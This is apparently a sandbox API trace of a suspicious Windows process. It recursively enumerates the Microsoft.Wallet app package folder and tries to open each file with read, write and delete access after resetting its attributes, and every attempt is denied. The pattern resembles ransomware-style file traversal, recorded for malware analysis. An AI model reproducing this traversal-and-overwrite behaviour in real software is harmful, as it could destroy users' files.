	[0091.132] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*", lpFindFileData=0x502dc88 | out: lpFindFileData=0x502dc88*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xe098276e, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xb0c2fbb1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe098276e, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b568
	[0091.132] wcscmp (_String1=".", _String2=".") returned 0
	[0091.132] FindNextFileW (in: hFindFile=0x477b568, lpFindFileData=0x502dc88 | out: lpFindFileData=0x502dc88*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xe098276e, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xb0c2fbb1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe098276e, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0091.132] wcscmp (_String1="..", _String2=".") returned 1
	[0091.132] wcscmp (_String1="..", _String2="..") returned 0
	[0091.132] FindNextFileW (in: hFindFile=0x477b568, lpFindFileData=0x502dc88 | out: lpFindFileData=0x502dc88*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xe098276e, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xb0c2fbb1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe098276e, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0091.132] FindClose (in: hFindFile=0x477b568 | out: hFindFile=0x477b568) returned 1
	[0091.132] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502dc88) returned 1
	[0091.132] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491b170) returned 1
	[0091.132] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491eac8) returned 1
	[0091.132] FindNextFileW (in: hFindFile=0x46a7290, lpFindFileData=0x470f250 | out: lpFindFileData=0x470f250*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xe098276e, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xb0c2fbb1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe098276e, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 0
	[0091.132] FindClose (in: hFindFile=0x46a7290 | out: hFindFile=0x46a7290) returned 1
	[0091.133] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x470f250) returned 1
	[0091.133] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5d828) returned 1
	[0091.133] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5d988) returned 1

Thread:
	id = 859
	os_tid = 0x1248

	[0082.062] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x9e) returned 0x4986f98
	[0082.062] wcscpy (in: _Dest=0x4986f98, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe"
	[0082.062] wcscat (in: _Dest=0x4986f98, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\"
	[0082.062] wcscat (in: _Dest=0x4986f98, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\*"
	[0082.062] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x470f4b8
	[0082.062] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\*", lpFindFileData=0x470f4b8 | out: lpFindFileData=0x470f4b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8150701, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xe09a894e, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xe09a894e, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a72d0
	[0082.064] wcscmp (_String1=".", _String2=".") returned 0
	[0082.064] FindNextFileW (in: hFindFile=0x46a72d0, lpFindFileData=0x470f4b8 | out: lpFindFileData=0x470f4b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8150701, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xe09a894e, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xe09a894e, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.064] wcscmp (_String1="..", _String2=".") returned 1
	[0082.064] wcscmp (_String1="..", _String2="..") returned 0
	[0082.064] FindNextFileW (in: hFindFile=0x46a72d0, lpFindFileData=0x470f4b8 | out: lpFindFileData=0x470f4b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8176951, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa8176951, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xa8176951, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xa68, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0082.064] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0082.064] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0082.064] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbc) returned 0x47cb030
	[0082.064] wcscpy (in: _Dest=0x47cb030, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe"
	[0082.064] wcscat (in: _Dest=0x47cb030, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\"
	[0082.064] wcscat (in: _Dest=0x47cb030, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0091.089] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\appxblockmap.xml")) returned 0x20
	[0091.094] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0091.094] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\appxblockmap.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.094] GetLastError () returned 0x5
	[0091.094] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0091.094] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47cb030) returned 1
	[0091.094] FindNextFileW (in: hFindFile=0x46a72d0, lpFindFileData=0x470f4b8 | out: lpFindFileData=0x470f4b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8150701, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa8176951, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xa8176951, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x106a, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxManifest.xml", cAlternateFileName="")) returned 1
	[0091.094] wcscmp (_String1="AppxManifest.xml", _String2=".") returned 1
	[0091.094] wcscmp (_String1="AppxManifest.xml", _String2="..") returned 1
	[0091.094] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbc) returned 0x4926008
	[0091.094] wcscpy (in: _Dest=0x4926008, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe"
	[0091.094] wcscat (in: _Dest=0x4926008, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\"
	[0091.094] wcscat (in: _Dest=0x4926008, _Source="AppxManifest.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\AppxManifest.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\AppxManifest.xml"
	[0091.094] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\appxmanifest.xml")) returned 0x20
	[0091.094] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\AppxManifest.xml", dwFileAttributes=0x20) returned 0
	[0091.095] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\appxmanifest.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.095] GetLastError () returned 0x5
	[0091.095] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\AppxManifest.xml", dwFileAttributes=0x20) returned 0
	[0091.095] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4926008) returned 1
	[0091.095] FindNextFileW (in: hFindFile=0x46a72d0, lpFindFileData=0x470f4b8 | out: lpFindFileData=0x470f4b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa819cbaf, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb0d1f064, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa819cbaf, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxMetadata", cAlternateFileName="APPXME~1")) returned 1
	[0091.095] wcscmp (_String1="AppxMetadata", _String2=".") returned 1
	[0091.095] wcscmp (_String1="AppxMetadata", _String2="..") returned 1
	[0091.095] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb4) returned 0x4f2c960
	[0091.095] wcscpy (in: _Dest=0x4f2c960, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe"
	[0091.095] wcscat (in: _Dest=0x4f2c960, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\"
	[0091.095] wcscat (in: _Dest=0x4f2c960, _Source="AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\AppxMetadata"
	[0091.095] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb8) returned 0x4f2d560
	[0091.095] wcscpy (in: _Dest=0x4f2d560, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\AppxMetadata"
	[0091.095] wcscat (in: _Dest=0x4f2d560, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\AppxMetadata\\"
	[0091.095] wcscat (in: _Dest=0x4f2d560, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\AppxMetadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\AppxMetadata\\*"
	[0091.095] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502d080
	[0091.095] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\AppxMetadata\\*", lpFindFileData=0x502d080 | out: lpFindFileData=0x502d080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa819cbaf, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb0d1f064, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa819cbaf, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b1a8
	[0091.095] wcscmp (_String1=".", _String2=".") returned 0
	[0091.095] FindNextFileW (in: hFindFile=0x477b1a8, lpFindFileData=0x502d080 | out: lpFindFileData=0x502d080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa819cbaf, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb0d1f064, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa819cbaf, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0091.095] wcscmp (_String1="..", _String2=".") returned 1
	[0091.096] wcscmp (_String1="..", _String2="..") returned 0
	[0091.096] FindNextFileW (in: hFindFile=0x477b1a8, lpFindFileData=0x502d080 | out: lpFindFileData=0x502d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa819cbaf, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa819cbaf, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xa819cbaf, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2c18, dwReserved0=0x0, dwReserved1=0x0, cFileName="CodeIntegrity.cat", cAlternateFileName="")) returned 1
	[0091.096] wcscmp (_String1="CodeIntegrity.cat", _String2=".") returned 1
	[0091.096] wcscmp (_String1="CodeIntegrity.cat", _String2="..") returned 1
	[0091.096] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd8) returned 0x477fa70
	[0091.096] wcscpy (in: _Dest=0x477fa70, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\AppxMetadata"
	[0091.096] wcscat (in: _Dest=0x477fa70, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\AppxMetadata\\"
	[0091.096] wcscat (in: _Dest=0x477fa70, _Source="CodeIntegrity.cat" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat") returned="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat"
	[0091.096] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat" (normalized: "c:\\program files\\windowsapps\\microsoft.wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\appxmetadata\\codeintegrity.cat")) returned 0x20
	[0091.098] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat", dwFileAttributes=0x20) returned 0
	[0091.098] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat" (normalized: "c:\\program files\\windowsapps\\microsoft.wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\appxmetadata\\codeintegrity.cat"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.098] GetLastError () returned 0x5
	[0091.098] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat", dwFileAttributes=0x20) returned 0
	[0091.098] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477fa70) returned 1
	[0091.098] FindNextFileW (in: hFindFile=0x477b1a8, lpFindFileData=0x502d080 | out: lpFindFileData=0x502d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa819cbaf, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa819cbaf, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xa819cbaf, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2c18, dwReserved0=0x0, dwReserved1=0x0, cFileName="CodeIntegrity.cat", cAlternateFileName="")) returned 0
	[0091.098] FindClose (in: hFindFile=0x477b1a8 | out: hFindFile=0x477b1a8) returned 1
	[0091.098] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502d080) returned 1
	[0091.098] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f2d560) returned 1
	[0091.098] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f2c960) returned 1
	[0091.099] FindNextFileW (in: hFindFile=0x46a72d0, lpFindFileData=0x470f4b8 | out: lpFindFileData=0x470f4b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8176951, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa819cbaf, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xa819cbaf, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2997, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0091.099] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0091.099] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0091.099] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbe) returned 0x4926008
	[0091.099] wcscpy (in: _Dest=0x4926008, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe"
	[0091.099] wcscat (in: _Dest=0x4926008, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\"
	[0091.099] wcscat (in: _Dest=0x4926008, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x"
	[0091.099] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\appxsignature.p7x")) returned 0x20
	[0091.099] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0091.099] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\appxsignature.p7x"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.099] GetLastError () returned 0x5
	[0091.099] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0091.099] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4926008) returned 1
	[0091.099] FindNextFileW (in: hFindFile=0x46a72d0, lpFindFileData=0x470f4b8 | out: lpFindFileData=0x470f4b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa819cbaf, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa819cbaf, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xa819cbaf, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xff58, dwReserved0=0x0, dwReserved1=0x0, cFileName="ClrCompression.dll", cAlternateFileName="")) returned 1
	[0091.099] wcscmp (_String1="ClrCompression.dll", _String2=".") returned 1
	[0091.099] wcscmp (_String1="ClrCompression.dll", _String2="..") returned 1
	[0091.099] FindNextFileW (in: hFindFile=0x46a72d0, lpFindFileData=0x470f4b8 | out: lpFindFileData=0x470f4b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa819cbaf, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb0d716f5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa820f2c9, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1
	[0091.099] wcscmp (_String1="images", _String2=".") returned 1
	[0091.099] wcscmp (_String1="images", _String2="..") returned 1
	[0091.099] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa8) returned 0x2d61580
	[0091.099] wcscpy (in: _Dest=0x2d61580, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe"
	[0091.100] wcscat (in: _Dest=0x2d61580, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\"
	[0091.100] wcscat (in: _Dest=0x2d61580, _Source="images" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images") returned="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images"
	[0091.100] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xac) returned 0x481ba08
	[0091.100] wcscpy (in: _Dest=0x481ba08, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images") returned="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images"
